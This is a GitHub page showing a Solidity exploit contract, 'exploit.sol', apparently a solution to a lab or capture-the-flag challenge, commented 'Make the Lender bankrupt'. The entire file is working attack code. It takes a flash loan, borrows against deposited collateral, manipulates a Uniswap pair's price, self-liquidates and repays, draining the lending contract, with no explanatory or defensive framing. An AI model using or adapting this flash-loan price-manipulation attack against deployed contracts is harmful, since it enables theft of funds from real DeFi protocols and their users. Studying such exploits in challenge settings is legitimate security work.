-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathexploit.sol
57 lines (38 loc) · 1.56 KB
/
exploit.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
//Make the Lender bankrupt
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
import "./lender.sol";
import "./setup.sol";
contract exploit {
WETH9 public constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IUniswapV2Pair pair;
FlashLoan faddress;
Lender lender;
Token token;
address owner;
constructor(FlashLoan _faddress , Lender _lender, IUniswapV2Pair _pair , Token _token){
faddress = _faddress;
pair = _pair;
lender = _lender;
token = _token;
owner = msg.sender;
}
function action() public {
faddress.flashLoan(weth.balanceOf(address(faddress)));
}
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) public {
}
function receiveFlashLoan(uint256 amount ) public {
weth.approve(address(lender),25 * 1 ether);
lender.deposit(25 * 1 ether);
lender.borrow(250_000 * 1 ether);
weth.transfer(address(pair), 25 * 1 ether);
pair.swap( 249_000 * 1 ether, 0 , address(this) ,'');
token.approve(address(lender),250_000 * 1 ether);
lender.liquidate(address(this) , 250_000 * 1 ether);
token.transfer(address(pair),249_000 * 1 ether);
pair.swap( 0, 24 * 1 ether , address(this) ,'');
weth.transfer(address(faddress), amount);
weth.transfer(address(faddress), weth.balanceOf(address(this)));
}
}